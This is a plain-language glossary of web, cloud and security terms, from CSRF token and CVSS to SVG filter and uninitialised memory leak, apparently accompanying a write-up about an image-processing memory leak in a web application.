- Cache-busting parameter: a meaningless value added to a URL so caches treat it as a new request.
- Cookie: a small piece of data a site stores in your browser and receives back on each request, often used to keep you logged in.
- CSRF token: a random value in a form or header that proves a request came from the site's own pages.
- CVSS: a standard 0 to 10 score for how severe a vulnerability is.
- Docker: a tool for running software in its own isolated box, separate from the rest of the machine.
- Endpoint: a specific address on a server that performs a particular function.
- Environment variable: a named value passed to a program when it starts, often used for settings and credentials.
- Header: a labelled line of metadata sent with an HTTP request or response.
- Heap: the general pool of memory a program borrows from while running.
- Hotfix: a quick patch applied to stop an urgent problem.
- HTTP: the protocol browsers and servers use to exchange web pages and data.
- ImageMagick: a free command-line toolkit for converting and inspecting images.
- Information disclosure: a weakness where a system reveals data it should keep private.
- JSON: a plain-text format for structured data, made of names and values.
- librsvg: a software library that reads SVG files and draws them.
- malloc: the standard C function a program calls to reserve a block of memory.
- Native library: compiled code an application calls into, as opposed to code in its own language.
- Post exploitation: actions taken after a first break-in, such as reading more data or planting access.
- Process: a running copy of a program with its own memory; everything it does shares that memory.
- Recon: the information-gathering phase of a security test.
- Redirect: a server response that sends the browser to a different address.
- Region: the geographic area of an AWS data centre.
- Ruby on Rails: a web framework, written in Ruby, for building web applications.
- S3: AWS's file storage service.
- SNS: AWS's notification service.
- Storage class: the pricing and durability tier chosen for files stored in S3.
- SVG: a picture format that describes shapes and effects as text instructions rather than pixels.
- SVG filter: a built-in image effect, such as a blur, described inside an SVG file.
- Tenant: a separate customer account on a shared service.
- Uninitialised memory leak: a bug where a program uses a memory block without wiping it first, so leftover data from earlier use is exposed.
- User agent: the header that identifies the browser and operating system making a request.
- YAML: a plain-text format for configuration files, using indentation for structure.